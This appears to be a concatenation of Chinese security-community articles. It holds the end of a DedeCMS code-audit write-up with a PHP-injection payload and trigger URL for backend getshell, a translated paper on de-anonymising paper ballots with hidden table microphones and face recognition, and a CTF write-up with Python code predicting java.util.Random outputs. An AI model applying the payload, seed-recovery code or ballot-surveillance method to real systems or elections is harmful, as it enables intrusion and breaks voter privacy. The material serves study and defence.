点击确定添加广告后，发现 **[TheFolderSpy](https://6e053d98-a-62cb3a1a-s-sites.googlegroups.com/site/venussoftrusia/dnload/TheFolderSpy.rar?attachauth=ANoY7cqjOrqt2URZPOVzcaNe1sYIWFuojXSULFpFqvfKIt2PslZwBiYh3_u-uYOmUMsKqiKs73hR8u0qcfn4kdsWq7qOPZQEA_gSEKz5b8g2DSeKCpsjWkcqVYs-TWjFj7pCDLatu7fTbkOkJJHQGeBoceSXl0w-kyiLXoNvn2apMmQFhL0r1QH4NacL4Fd4fjFtjSQcZIz9MYOLB2CYv7OLjxZGfN-wDXU4JKgWsjSSKNDDpwxhF5E%3D&attredirects=1)** 软件并没有监测到有文件内容被修改。于是我们继续访问
**plus/ad _js.php?nocache=1 &aid=1&_=whoami** ，发现生成了一个
**data\cache\myad-1.htm** 文件，并且我们在上图第三个框中填写的 **phpinfo();3** 被写入了该文件。如下图所示：
我们可以观察到该文件路径为 **data\cache** ，那么应该是个缓存文件，而且文件后缀为 **htm** 。由于攻击者通过访问
**plus/ad_js.php** 页面能 **getshell** ，那么很有可能是程序在某处将这个缓存文件给包含了。接下来我们对
**plus/ad_js.php** 文件进行详细分析。
## 漏洞分析
**plus/ad_js.php** 文件代码如下：
这里关注 **第9行** 和 **第15行** ，可以清晰的看到程序包含了我们之前监控到生成的 **htm** 文件， **第12-14行**
主要是对要写入 **htm** 文件的内容进行处理，具体代码如下：
仔细观察这段代码，程序将从数据库中 **dede_myad** 查询的结果存在 **$row** 变量中(上图第3行)，然后将表 **dede_myad**
中的 **normbody** 或 **expbody** 字段的值作为 **$adbody** 写入缓存文件 **$cacheFile** ，并在最后
**include $cacheFile;** 。而 **第16-18行** 只是对 **$adbody** 内容进行简单的处理。我们再从数据库中，查看
**dede_myad** 表的内容，如下图：
可以看到 **normbody** 或 **expbody** 字段，对应的就是我们刚刚填写的第3个和第4个标识信息。我们现在再来看看
**normbody** 或 **expbody** 字段的值是如何写入的。再次回到 **dede/ad_add.php**
文件，针对刚刚填写的广告内容发起提交，抓包如下：
然后我们再看 **dede/ad_add.php** 文件代码：
此时整个漏洞发生的流程便十分清晰了，程序将来自用户的数据 **$normbody['htmlcode']** 仅仅只是用 **addslashes**
函数处理，并没有对代码进行分析，然后便直接存储在数据库 **dede_myad** 表的 **normbody**
字段，导致用户可以将PHP代码存储在数据库中。如果攻击者此时访问 **plus/ad_js.php** 文件，则调用 **normbody**
字段并写入缓存文件，最终利用文件包含该getshell。
## 漏洞利用
在明白了上述分析流程，想利用该漏洞便十分简单。我们在广告内容处插入 **\-- ><?php phpinfo();?><!--**
然后访问如下链接( **这里的aid值为第几个广告** )：
http://localhost/dedecms/plus/ad_js.php?nocache=1&aid=3
## 总结
本文从代码审计的角度，对漏洞进行详细分析，借助文件监控软件迅速定位漏洞所在。或许大家可以利用这种方式，发现更多的后台 **getshell**
利用姿势，期待大家挖掘。最后，希望大家多多交流，共同进步。如果大家有什么好的代码审计技巧，还望不吝分享，感谢大家的阅读。 | 社区文章 |
# 一种针对纸质投票的可扩展侧信道攻击
|
##### 译文声明
本文是翻译文章，文章原作者 Kristjan Krips, Jan Willemson, Sebastian
Värv，文章来源：ieeexplore.ieee.org
原文地址：<https://ieeexplore.ieee.org/abstract/document/8806759/>
译文仅供参考，具体内容表达以及含义原文为准。
在对电子投票和纸质投票的安全性进行比较的讨论中，隐私的减少通常是反对远程互联网投票的一种说法。本文提出了针对传统纸质选举物理环境的侧信道攻击。更准确地说，基于Arduino开发板和廉价的驻极体麦克风构建了一种设备，该设备能够高精度地对木桌上标记的位置进行三角测量。
在最佳配置中，能够以90％以上的精度确定尺寸为4×5cm单元格的内容。这将破坏投票设计的隐私性，而选票设计依靠的是选民在一张大纸上印刷的大量候选人之间做出选择的标记。通过对面部识别部署的各个方面的研究来补充攻击，即攻击者在投票站中安装摄像机，旨在自动检测离开投票站的人员。结合这两种方法，将针对基于纸质投票的隐私进行完全自动化（因此可扩展性相对较好）的攻击。
## 0x01 Introduction
已经建立了投票系统应满足的许多要求，确切的法律框架因国家/地区而异，但要求通常包括：
•只应允许有投票权的人参加，
•每个人的投票数相同，
•符合条件的选民应具有投票权，
•选民应能够表达自己的真正偏好，而不会受到胁迫或非法影响。
这些要求又转化为正在使用的投票系统的技术特性。例如，检查资格假定可靠的投票者名单和人员识别机制。统一性和普遍性取决于完整性措施，例如固定投票箱和通过重新计票或选举后审核来验证最终结果。另一方面，投票自由通常通过投票保密来实现。
不同的投票方法能够在不同程度上满足这些要求。例如，远程互联网投票因无法提供无强制性的投票环境而屡遭批评，因为在像投票者的家这样不受控制的远程位置，破坏投票隐保密性是相对容易的；另一方面，物理投票站旨在通过屏蔽亭来加强隐私。
亭内的投票可以通过多种方式进行。最成熟的方法是在一张纸上标记一个人的选择，然后将其放入投票箱。但是，选票有时可能会很大，而填写选票的逻辑可能会很复杂。而且，用手标记选票很容易出错。
为了解决这些问题，这些年来已经开发并尝试了许多辅助技术工具。这些助手包括打卡机和杠杆机；可以使用更先进的设备来准备要打印的选票或以数字方式记录选票，所谓的直接记录电子（DRE）设备。
DRE设备的历史悠久，存在难以察觉的漏洞、较差的设计选择以及随之而来的攻击。在某种程度上，这些问题使在投票过程中使用机器丧失了信誉。
因此，有整个社区致力于推动以纸为基础的投票而不是电子投票（例如[https://www.verifiedvoting.org/和http://handcountedpaperballots.org/）。](https://www.verifiedvoting.org/%E5%92%8Chttp://handcountedpaperballots.org/%EF%BC%89%E3%80%82)
本文认为，此类社区的成员倾向于低估纸质投票的脆弱性以及技术进步对安全性的影响。有许多有据可查的方法可以攻击纸质投票结果的完整性，包括投票箱填充、使墨水消失、设置伪造的投票箱或窃取真实的投票箱等。
此外，许多普通的选举攻击，如选区划分或通过设置类似名称的候选人来混淆选民，都适用于纸质投票。
## 0x02 Ballot Sheet Designs and Attack Idea
选票的设计一方面是经过充分研究的，但另一方面也是一个非常敏感的话题。例如，已经观察到，在工作表顶部列出的候选人更有可能获得更高的成绩。
由于候选人的数量通常很大（很容易达到数百人），因此选民必须能够从中进行选择。进行选票设计时，最简单的选择是将选票留空，然后让选民为政党或候选人写上姓名或号码，但这种设计相对较少，在世界上不到十个国家使用。
一个比较流行的选择是将所有正在竞选的候选人列在一张纸上，然后要求选民选择其中的一个（或几个）。结合大量候选人，将获得大张的选票。例下图显示了2017年荷兰大选的工作表，宽约1.5米。
类似的情况在澳大利亚发生，例如在2013年的维多利亚州参议院选举中，有39个政党（包括独立人士）参加了竞选，选票扩大到102厘米。德国的一些地方选举也设有庞大的选票，见下图。
如果投票站提供的整张桌子都被选票覆盖着，那么如果能够检测出标记选票时钢笔发出的声音的位置，就可以揭示出选民的偏好。正如将在下面看到的那样，这种检测可以非常便宜地被实现，同时可以利用台板的物理特性以高精度进行检测。此外，所有攻击工具都可以在桌子下方的选民视线外隐藏。
当垂直列出候选人并且选票范围从表格的顶部到底部时，仅获取检测到的位置的y坐标即可显示选民的偏爱。当然，如果选票表小于表格，则泄露量将减少，但不会为零。例如，如果工作表的长度大于桌子高度的一半，并且标记位置被检测为靠近中心，那么攻击者就会知道没有标记靠近工作表顶部和底部的候选者。如果选票更小，攻击者可能会做出一些概率性的假设（例如，选票放置在靠近桌子中央的位置），并且仍然会获得非零泄露。
请注意，有系统的攻击者可以通过提出一些额外的候选人来扩大选票，结果来自检测标记位置的泄露将增加。
知情的选民可以通过有目的地将选票放在板子的中央（如果需要的话，可以将其部分折叠）来抵制攻击。但是，由于攻击设备可以秘密运行，在某些特定的选票设计案例中，表格在桌子上的放置没有起到很大作用。
## 0x03 Attack Experiment Setup
如上所述，不会直接攻击纸质选票，而是要通过用来放置选票的桌子。核心观察结果是，钢笔在投票标记过程中穿过桌子材料以相对可预测的速度发出声音，因此原则上可以对声源（即标记）的位置进行三角测量。尽管攻击的主要思想很简单，但是在实施和评估攻击时仍要解决几个挑战。
首先，在投票站中使用了不同种类的表。尚未对可在现实生活中的投票站表中找到的材料进行任何研究。但是为实验选择了两种不同的材料，即三聚氰胺覆盖的刨花板和粘合木材。选择距离这两种材料尺寸为80×60
cm的盘子来模拟桌子。
在安装设计中要做出的第二个决定是选择声音检测设备。对许多不同的麦克风和压电元件进行了实验，发现使用MAX4466可调增益驻极体麦克风可获得最稳定的结果。可以按原生产商的价格购买5-10美元，也可以从在线生产商和代理商那里以1-1.5美元的价格购买。
第三，需要一种设备来捕获和处理信号。当以原始信号数据为目标时，需要一台具有模拟输入功能的设备。
Arduino系列的开发板非常适合完成此任务，并且具有相对便宜的额外优势。选择Arduino Due是因为它的ATMEL SAM3X8E ARM
Cortex-M3 CPU运行在84MHz，这是Arduino系列目前可用的最高频率。可以在网上以15美元的价格购买。
Arduino
Due的另一个好处是其模数转换器（ADC）可以在所谓的自由运行模式下工作，在该模式下，上一个转换结束后便立即开始下一次转换（与标准模式相反，预定义的周期数ADC在两次转换之间等待）。自由运行模式的好处是其高工作频率（约为600kHZ），但是由于芯片上残留了一些电荷，因此缺点可能是降低了读取精度。然而实验表明，更高的速度大大弥补了这一缺点。
接下来确定了麦克风的数量和位置。经过一番讨论，在桌子的四角摆放了四个麦克风。但是，这不是唯一可能的选择。原则上，增加麦克风的数量可以提高三角剖分的准确性。另一方面，由于Arduino
Due（通常为Arduino）只有一个ADC，因此需要顺序执行读取。因此，增加麦克风的数量也将增加相同麦克风的两次读取之间的时间间隔，从而潜在地降低三角测量精度。
找出最佳设置是一个单独的研究问题。从实验结果可以看出，选择已经非常有效。麦克风通过电线和面包板连接到Arduino
Due；连接方案如上图所示。希望攻击以隐身模式进行，因此需要将整个系统安装在桌子下面。从下面拍摄的总体实验设置如下图所示。
下一个决定要考虑的麦克风附件。有几种方法可以做到这一点，例如通过将它们钉到板上或钻入。这两种方法各有利弊。钻入具有潜在的更好的声音检测优势，并且还可以选择将麦克风隐藏在桌子脚内。麦克风的驻极体元件的直径小于1
cm，MAX4466麦克风的整个电路板的尺寸约为1×2 cm（见下图）。
如果无法事先接触到桌子，攻击者可以在投票期间进入展位，然后将麦克风和Arduino粘在桌子下面。在这种情况下，攻击者的任务将更加轻松。
在实验中首先通过敲击平板下方的麦克风，然后将它们钻进去，来测量两种情况下的检测精度。最后要回答的问题是在实验期间应精确测量什么。在物理层面上，来自麦克风的模拟输入被采样为信号在采样时所对应的电压。当没有信号时，可以将该电压与参考电平进行比较，并从中得出一些结论。
作为第一种方法，可以查看参考点电压和电流测量值的差异，将其解释为信号幅度的差异。假设信号在桌子上逐渐消失，则最靠近标记点的麦克风应发出最强的信号，然后按距离的顺序排列其他麦克风，从而确定位置。
尝试通过测量每个麦克风所接收信号的总能量来实现这种方法。通常，信号x(t)的能量计算如下：
该数量可以近似为：
其中x(i)表示在读取i时采样的信号幅度。另一种方法是简单地确定第一个麦克风检测到信号超过阈值水平的时刻，并测量时间差，直到其他麦克风检测到该时刻为止。由于不能同时读取麦克风，因此这种方法会有固有的错误，但希望不会太多。
在测试中对这两种方法进行了实验，发现第二种方法可以产生更加可靠的结果。没有研究基于信号能量的三角测量性能较差的原因。但是，可能是次级信号从桌子边缘反弹回来后到达麦克风导致估计的信号能量大于实际能量。另一方面，基于时序的方法没有这些问题-当信号首次击中麦克风时，它很有可能直接传来（或者非常接近麦克风而产生了反弹）。
## 0x04 Experiments
如上所述，攻击目标是确定笔在桌子上（通过选票纸）刮擦桌子的位置。此检测的精度存在一些物理限制。由于能够以大约600kHz的频率运行Arduino
Due的ADC，因此以大约150kHz的频率读取四个麦克风中的每个。为了进行可靠的三角测量，需要使用所有四个输入，150kHz也是三角测量的近似最大频率。因此，在两次连续位置读取的间隔1/150000
s内信号传播的距离大约为：
不能指望其精度超过2厘米，甚至可能会差一些，因为无法同时读取所有麦克风，并且两次读取之间的时间间隔不是恒定的。从积极的方面来说，几厘米的精度足以对各种选票设计进行攻击。对于实验，选择将工作台板划分为4×5
cm的单元格，从而在80×60
cm的板上形成20×12的网格。对于每个单元，使用铅笔在其中心周围产生标记声音。下图显示了带有单元格和标记的胶合木材桌子的图像。
在实际情况下，攻击者将需要做出额外的努力，以将选票标记的声音与由于将表格放在桌子上或从桌子上移开而产生的噪音区分开。为此，攻击者可以调整麦克风的灵敏度水平，或研究记录纸产生的噪声模式。
对于板上的每种刮擦声，记录了四个麦克风中的每个麦克风首先检测到的时刻t1，t2，t3，t4，并存储了相对于最早时刻的时间增量。即，为每个样本存储的数据元组为（t1-t，t2-t，t3-t，t4-t），其中t = min {t1，t2，t3，t4}。
对于分类任务，评估了五种不同的算法–
k最近邻（kNN），kNN的加权版本，梯度提升分类器，多层感知分类器和随机森林分类器。下表列出了五种经过测试的分类算法的评估结果。
kNN分类器的基本思想很简单。首先选择一个距离度量来描述两个样本的相似程度。然后，将数据集的一部分用于学习/训练，其余部分用于测试。对于kNN，学习只是意味着将数据集的第一部分保存为一种格式（样本，类别），其中样本是指时间增量的四倍，类别是板上对应的4×5
cm单元格。为了对测试样本进行分类，从训练集中选择了k个最近的样本（根据距离度量），然后选择在这k个最近的样本中代表最多的类别（即表格单元格）。对于kNN分类器，对k值3、5和7进行了实验，使用了三个距离度量标准以及六个可能的权重。
对于两个样本元组u =（u1，u2，u3，u4）和v =（v1，v2，v3，v4），它们的Bray Curtis距离定义为：
对于kNN的加权版本，还需要定义权重。以1/d^e形式的权重进行了实验，e∈{1,2,3,4,5,6}，其中d是选定的距离度量（例如，Bray
Curtis）。然后，所得的加权kNN分类器如下工作。
首先有一组训练数据，其中每个样本元组u i具有一个坐标为（xi，yi）的单元格。当一个新的元组v需要分类时，首先根据距离度量选择k个最接近的样本u
，然后从集合S中将其归类为uk。最后将所选的k个样本按相应的单元格分组，并将第i个组的权重定义为：
在所有实验设置中测试分类准确性得出结论，k = 5，Bray Curtis距离和权重指数e =
3的选择平均效果最佳。但是，如果可以事先很好地预测和/或研究投票站的环境（最值得注意的是餐桌材料），则仍有一些改进的余地。
## 0x05 Experimental Results
对于四种测试配置（三聚氰胺覆盖的刨花板或粘合木材，以及对麦克风进行录音或钻孔），分别测量了三种精度。
1）准确预测4×5 cm单元格的准确性。
2）在八个方向的每个方向上有1个单元的允许误差（即3×3个单元形成一个12×15 cm矩形）的预测单元面积的准确性。
3）预测正确的4 cm宽色谱柱的准确性。
最后一个度量对应于攻击场景，在该场景中，攻击者对特定候选人不感兴趣，而对选民的政党偏爱感兴趣，因为在选票单上，同一政党的候选人通常被聚集在同一列中。
对于所有测试，执行了10倍交叉验证。也就是说将实验数据分为10个随机子集，并使用每个数据对来自其余9个子集的训练集进行验证，下表给出了进行500次实验的平均结果。
从表中观察到，在三聚氰胺覆盖的刨花板上可获得最佳结果。与由多个粘合在一起的（非均质）木板组成的粘合木板相比，最可能的原因是该材料的性质更加均匀。
当攻击者设法将麦克风钻到刨花板桌面板上时，在一个4×5 cm单元的范围内，他可以达到90％以上的精度，在一个12×15
cm单元的范围内，可以达到98％以上的精度。即使只有录音选项可供攻击者使用，他的预测准确性（取决于他感兴趣的区域）也大约为80-90％。
当然，使用（超）声波来研究不同材料的特性的想法并不是什么新想法，难以实现的是精度、易于构建最终设备、低价格和小尺寸。对于中等水平的攻击者来说，创建这样的设备绝对是负担得起的，并且可以访问。
除了建立加权kNN方法的良好平均性能外，在所有实验中计算了所有单元格中错误检测到的样本的比率，结果如下所示。得出的结论是，尽管偶发的单元错误率高达40％，但这些似乎没有系统性的偏差。
## 0x06 Building Automated Person Identification
当攻击者利用攻击破坏投票隐私时，他只是实现了目标的一部分。仅仅知道某些投票的价值并不太有趣，攻击者通常还需要找出谁提交了这些投票。有权访问这两个信息的部分，他可以发起胁迫攻击。
当攻击者针对特定的选民群体时，他可以先在展位桌下方安装们的商标三角剖分设备，然后假装成为公众观察员。通过观察投票站，他可以记下谁在什么时候退出投票站，然后再将他的记录与设备记录并带有时间戳的投票进行交叉引用。
但是，这种攻击的程度将受到攻击者留在一个投票站（和/或雇用可以覆盖多个地方的协作者）的能力的限制。因此，扩大攻击范围的关键是自动检测选民。该检测机构应该是非侵入性的，可以远距离工作并且具有相对较高的精度。选择这种机制非常简单-面部识别。
人脸具有很高的特征，通常不会被遮盖。生物统计学的这一子领域已经得到了充分的研究，攻击者可以轻松地使用许多工具。这些方面使得面部识别对于攻击者而言是一种易于使用的工具。
## 0x07 Building a Facial Detection System
构建面部检测系统的任务又可以分为两个子任务。首先，攻击者需要安装/访问照相机以进行图像捕获，其次，他需要后端来运行实际的面部识别软件。
根据当地传统，第一个子任务可能相对容易完成。有几个国家/地区在投票站中预先安装了摄像头，以此来建立信任。尚未对此类设置中的摄像机进行过任何研究，但出于预算和设置简单的原因，认为很可能经常使用便宜的IP摄像机。但是，IP摄像机以较低的安全标准而臭名昭著，它允许恶意攻击者访问其流和图像，替换固件等。如果摄像机不是投票站标准设置的一部分，则攻击者将需要自己获取并安装它们。
IP摄像机的在线购买价格为20美元起，因此最大的实际问题是将其安装到投票站。
最直接的方法是将摄像机与台板标记三角剖分设备同时直接放置到投票站中。但是，与后者相反，摄像头必须在视线范围内，如果没有在简约隔间中进行检测，可能很难做到这一点。
第二个办法是将摄像机放置在投票站的某个地方，以便记录走出展位的人的脸。该策略的成功取决于摄像机的尺寸和颜色以及投票站的一般环境，是否有隐藏视频设备的好地方等。
解决隐藏相机问题的一种方法是根本不隐藏相机。即使当地的选举传统不包括建立信任摄像机，攻击者仍然可以声称自己是选举观察员，有兴趣确保例如不会发生投票箱塞满的情况。由于在投票站外发生的事件并非真正私密，选举官员将很难反对这种监视。为了掩盖，攻击者甚至可以与其他完全合法的观察者共享摄像机。
实际上，在由相机生成的图像/流上运行面部识别算法的子任务要求更高，因为这些算法需要大量的计算能力。根据攻击情况，攻击者可能会在选举期间保存摄像机流，并花所有时间在以后进行处理，或者可能对近实时面部识别感兴趣。
对于计算面部检测后端，攻击者还可以选择几种方法。可能最简单（且最便宜）的设置是使用现有的基于云的服务。例如。微软正在其Azure云平台上提供Face
API。$
100可以使攻击者获得100,000个检测，这足以应付相对大规模的隐私侵犯（即使考虑到可能有多个交易花在一个选民身上）。另外，他将需要为每存储1000张面孔支付0.25
$，这仍然是非常合理的。
使用托管服务的主要问题（除了留下大量的数字足迹供执法部门使用外）是攻击者的不可靠性。在某个时候可能会检测到大规模的购买尝试。像Microsoft这样的商业云提供商已经充分意识到了此类服务的隐私风险，并可能愿意与执法机构合作，并在第一时间就阻止该服务。
请注意，将所有摄像机放下将需要更多时间，尤其是在隐藏摄像机的情况下。另一方面，如果摄像机还具有建立信任的公共功能，则将其拆除将需要调查哪些摄像机属于隐私侵犯攻击的一部分，哪些不是。为了使调查复杂化（并因此延长），攻击者可能会安装一些仅出于合法目的的摄像机。
如果投票期很短（例如一天），那么攻击者可能会在一瞬间丢失整个计算后端的风险，也可能无法接受。作为替代，他可以尝试自己构建计算面部检测服务。为了评估这种方法的成本，设置简便性以及由此产生的检测质量，决定从通常可访问的硬件和软件组件中构建一个完整的面部识别系统。
硬件平台包括Intel i5-2310 CPU和nVidia GTX 1070，带有8BG板载RAM作为GPU。在撰写本文时（2018年秋季），GTX
1070是中高级图形卡，新价格为400欧元左右，二手价格为200-300欧元。与大多数nVidia卡一样，它也支持CUDA框架，从而使其吸引了从加密货币挖掘到机器学习的广泛应用。桌面配备了720p
Logitech网络摄像头和Ubuntu 18.10 OS。
该装置部署在普通的办公环境中，摄像机指向入口走廊。为了测量检测距离，在距摄像机每满一米的地方都在地板上粘贴了标记，63位在办公室工作的志愿者作为测试对象。每个主题的一张图像用于训练识别系统，进行了两个实验。首先，对实时检测的质量感兴趣。其次还保存了视频流，以确定在留出一些额外时间进行后处理时可以达到的检测精度。
第一个实验的准确性是由观察员手动测量的，观察员为以自然方式通过的列出的志愿者写下了检测结果。另外，记录了检测时被摄对象离相机的大概距离。
面部识别脚本由三个主要部分组成。首先，它必须处理视频源中的一帧并找到面部的位置。接下来，它必须为找到的面孔创建编码。最后，找到的编码必须与对应于志愿者面部的编码相匹配。使用Python的face_recognition工具包5来创建和比较编码。人脸由基础dlib库编码，该库返回代表相应人脸的128个元素的实值特征向量。
一旦脸部被定位并被编码，比较编码就很简单了，例如通过他们的欧几里得距离来找到最接近的匹配项，就像face_recognition工具包所做的那样。
但是，困难的步骤是在图像上找到脸部的位置。有几种方法可以解决此任务，而且它们在计算上都非常昂贵。
dlib库允许使用基于GPU的卷积神经网络（CNN）检测面部位置。另一个公认的选择是使用OpenCV工具箱中的Haar Cascades方法。
两种方法都有其积极和消极的一面。 dlib的CNN甚至可以检测到倾斜的人脸。但是，这对计算要求很高，与Haar
Cascades相比，它仅允许使用大约一半的帧速率。在实时设置中使用CNN时，最多可以检测到3-4米的距离，而Haar
Cascades可以识别两倍距离的脸部位置。
Haar Cascades的缺点是面部位置的误报率，但是这并不重要，因为可以手动测量准确性，并且只对具有匹配项的面部编码感兴趣。因此，选择Haar
Cascades作为面部位置检测方法。结果是，实验的这一部分根本没有真正使用GPU加速，因此相应的攻击要便宜得多。
在进行带有后处理的第二个实验时，性能限制并不那么严格。能够利用运行dlib的CNN实现的GPU的全部功能来进行面部检测。但是，根据视频的确切分辨率，检测时间比视频本身的持续时间长约5-10倍。攻击者可以通过将流分成较小的块并进行并行处理来加快挂钟时间。另一方面，这需要对GPU硬件进行较大的投资。
面部检测后处理脚本的输出由操作员进行评估，以比较脚本输出和视频的准确性。同样，基于流中可见的仪表标记记录了大约的检测距离。
仅当该方法从面部数据库中识别出一个人时，才执行准确性评估，而仅当它能够在图像上找到某个面部的位置时，才执行准确性评估。准确度定义为所有人员标识中正确标识的份额。总体而言，在测试基于CPU的实时检测时，能够获得101个识别样本，而对于基于GPU的后处理，则能够获得151个样本。面部识别实验的结果如下图所示。该图显示了准确性和检测距离之间的关系。
基于CPU的实时检测的总体平均准确度为67.33％，正确检测的平均距离为3.51米。借助基于GPU的后处理，平均准确度提高到74.17％。正确检测的平均距离增加到了（仅）3.76米，但是从图可以看到，在整个距离谱上，检测质量更加稳定，最大检测距离提高到了8米（相比之下，最大检测距离为6米）。再次强调，这些结果是根据每个测试对象的一张图像获得的。增加图像的数量（和质量）也可能会提高检测精度。
如果攻击者不能选择构建和运行专用的面部检测后端，则他可以尝试通过将计算机本地连接到每个摄像头来分发任务。万一他喜欢隐藏设置，那么使用大型台式机甚至笔记本电脑可能是不受欢迎的。
作为替代方案，攻击者可以考虑使用连接到每个摄像机的小型单板计算机。在ODROID C2上尝试了这种情况，它具有ARM CortexA53
1.5Ghz四核CPU，Mali-450 GPU和46美元的价格。其主要竞争对手Raspberry Pi
3具有更好的GPU，但CPU较弱，并且dlib和OpenCV库都不支持这两个GPU，因此无论如何都需要在CPU中进行计算。由于可以在主要实验中使用基于CPU的设置来获得合理的实时检测性能，因此也有希望在单板平台上获得良好的结果。
nVidia Jetson TX产品线可为机器学习应用提供小尺寸和高性能的理想组合。例如，在CUDA性能方面，GTX 1070和Jetson
TX2几乎相等。由于拥有高端芯片由于是相对较新且缺乏竞争的产品，Jetson开发板的价格高于普通的单板计算机（取决于配置，价格在300-500美元左右）。
## 0x08 Conclusion
在本文中描述了一种新的侧信道攻击，适用于多种纸质选票设计。在最佳设置下，检测板上正确的4×5cm单元格的平均精度超过90％。当将此设备与用于面部检测的适当解决方案结合使用时，攻击者可以完全自动化破坏纸质投票的隐私权。反过来，攻击自动化是可扩展性的必要先决条件。
实际上，攻击的最大瓶颈不是在投票站中安装设备的难度，而是面部识别所需的基础设施和计算能力。当前，实时现场检测似乎假定主要用于执法的硬件和软件都是可用的。
在后端使用商业面部识别服务存在风险，因此攻击者的主要选择是自己构建这样的后端。这需要不平凡的开发工作以及对硬件的不平凡的金钱投资。攻击的总体成功将取决于攻击者应对这些挑战的能力。
同时，新技术（如现成的Web框架和匿名加密货币）的可用性已使攻击的其他部分（如收集面部特征数据库和自动匿名转让）变得更加容易。在选票非常大的情况下，侧信道效果最好。但是，发生这种投票的渊源很深。向选民介绍所有候选人是一个挑战，正如研究表明的那样，这可能会带来新的隐私问题。解决这种目标冲突需要在社会上进行更大范围的讨论，从而就未来将要部署的新安全措施达成协议。 | 社区文章 |
## 前言
起源于强网杯的密码学题目random study
## java.util.Random
题目中challenge two的主要代码如下：
o = subprocess.check_output(["java", "Main"])
tmp=[]
for i in o.split("\n")[0:3]:
tmp.append(int(i.strip()))
v1=tmp[0] % 0xffffffff
v2=tmp[1] % 0xffffffff
v3=tmp[2] % 0xffffffff
还给了一个Main.class文件，打开发现是字节码，用jd-gui反编译得到源码如下：
public class Main {
public static void main(String[] paramArrayOfString) {
Random random = new Random();
System.out.println(random.nextInt());
System.out.println(random.nextInt());
System.out.println(random.nextInt());
}
}
代码的意思很简单，调用random.nextInt方法生成三个连续的随机数，要求根据前两个随机数去预测第三个随机数
## 源码分析
为了了解这个方法出现的安全问题的原理，有必要去查看一下这个方法的源代码
在eclipse中将光标移动到nextInt处按F3可以追踪到jdk包里的具体代码
可以看到它直接调用了next方法，传递的参数是32。
继续追踪next方法
可以看到前一个随机数种子和后一个随机数种子都是定义为long类型的，方法返回的值就是下一个种子 **右移** 16位然后强转为 **int** 的结果
while里的compareAndSet方法只是比较当前的种子值是否为oldseed，如果是的话就更新为nextseed而已，一般都会返回true
而下一个种子的更新算法就在do-while循环里面：`nextseed = (oldseed * multiplier + addend) &
mask`，种子的初始值是将当前系统时间带入运算的结果
可以在类定义的开头处看到这几个常量属性的值
而这个种子的更新算法本质上就是一个线性同余生成器
## 线性同余生成器（LCG）
LCG是形如这样的式子：
和上面的代码对比可以看出是基本一致的，因为和mask常量做与运算就相当于是舍弃高位，保留2进制的低47位，也就相当于模2的48次方
那么我们既然都有了常量的值了，我们就可以去做第三个随机数的预测了
## 预测
方法很简单，如果把生成第一个随机数的种子定义为seed1，seed2、seed3往后顺延的话
seed1 **右移**
16位就是第一个随机数的值，也就是说第一个随机数就丢失了16位，所以seed1就有2的16次方种可能，那么把这2的16次方种可能带入计算下一个seed2，并且
**右移** 查看是否和第二个随机数相等就能知道是否正确找到了seed1了
先看一组简单的测试样例，输出的三个随机数都是正数
a = 0x5DEECE66DL
b = 0xBL
mask = (1L << 48) - 1
def findseed(x1, x2):
seed = x1 << 16
for i in range(2 ** 16):
if ((a * seed + b) & mask) >> 16 == x2:
return seed
seed += 1
if __name__ == '__main__':
x1 = 1564370740
x2 = 2121441037
seed1 = findseed(x1, x2)
seed2 = (a * seed1 + b) & mask
x3 = ((a * seed2 + b) & mask) >> 16
print x3
通过测试，结果正确
但是你可能会好奇为什么测试的java代码有时候会输出负数，因为右移1位是相当于除以2的，一个正数除以一个正数怎么会得到一个负数呢？
实际上这是由于java代码中的int强制类型转换和>>>无符号右移所造成的
## 补码
先来回顾一下java的int类型，int类型占四个字节，也就是二进制的32位
>
> 计算机中的数字通常用二进制补码表示，最高位为符号位，正数为0，负数为1，所以表示数值的一共有31位，故int类型的最小值为-2147483648（-2的31次方）最大值为
> 2147483647（2的31次方-1）
>
> 你可能会好奇为什么负数比正数多表示了1位，因为自然数0就是用全为0（包括符号位）的二进制表示的，而到负数那里是没有负0的概念的，所以可以多表示一个数
接下来可以开始说>>>的意思了
java中有两种右移，一种是>>，代表逻辑上的右移(除以)，高位补为符号位；一种是>>>代表无符号右移，高位直接补0
看一下这种情况：
前两个为正数，但是第三个为负数，我们先按照上面的方法计算出seed3和它右移16位的结果：
a = 0x5DEECE66DL
b = 0xBL
mask = (1L << 48) - 1
def findseed(x1, x2):
seed = x1 << 16
for i in range(2 ** 16):
if ((a * seed + b) & mask) >> 16 == x2:
return seed
seed += 1
if __name__ == '__main__':
x1 = 1135971603
x2 = 1130772191
seed1 = findseed(x1, x2)
seed2 = (a * seed1 + b) & mask
seed3 = (a * seed2 + b) & mask
print seed3
print seed3.bit_length()
print '{:064b}'.format(seed3)
print '{:064b}'.format(seed3>>16)
输出结果为
141635148990318
48
0000000000000000100000001101000100000000101111100100011101101110
0000000000000000000000000000000010000000110100010000000010111110
这样就能看出问题在哪了，由于seed3右移了16位以后除了补0的高位就只有32位了，使用int强转以后java把它从long类型转换成了int，并且自动忽略了32位以后的高位，这就相当于我们得到的第三个随机数用补码表示为`10000000110100010000000010111110`
可以看出来最高位为1，也就是说这个补码代表了一个负数，那么我们怎么通过补码找到这个负数的真值呢？很简单，对补码再求一次补码就行了，也就是取反后加1。
即`01111111001011101111111101000010`，对应的二进制为2133786434，所以第三个随机数应该为-2133786434，如此一来，我们就可以通过负数找到其对应的seed了
## exp
最终通过两个随机数预测第三个随机数的exp如下：
a = 0x5DEECE66DL
b = 0xBL
mask = (1L << 48) - 1
def n2p(x):
y = -x
y ^= 2 ** 32 - 1 #取反
y += 1
return y
def findseed(x1, x2):
if x1 < 0:
x1 = n2p(x1)
if x2 < 0:
x2 = n2p(x2)
seed = x1 << 16
for i in range(2 ** 16):
if ((a * seed + b) & mask) >> 16 == x2:
return seed
seed += 1
def cal_x(seed):
x = seed>>16
if '{:032b}'.format(x).startswith('1'):
x ^= 2 ** 32 - 1
x += 1
return -x
return x
if __name__ == '__main__':
x1 = 187562908
x2 = 1663125607
seed1 = findseed(x1, x2)
seed2 = (a * seed1 + b) & mask
seed3 = (a * seed2 + b) & mask
x3 = cal_x(seed3)
print x3
经过测试，无论x1或者x2是否为负数，都可以准确预测
## 总结
以前学习LCG的时候，只是知道了它的原理，并没有接触到它在实际情况中的应用，通过这次比赛，学到了java的random方法的安全漏洞，同时也十分感谢出题人提供的学习机会 | 社区文章 |
# 【技术分享】Lua程序逆向之Luac字节码与反汇编
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[非虫](http://bobao.360.cn/member/contribute?uid=2669205776)
预估稿费：800RMB
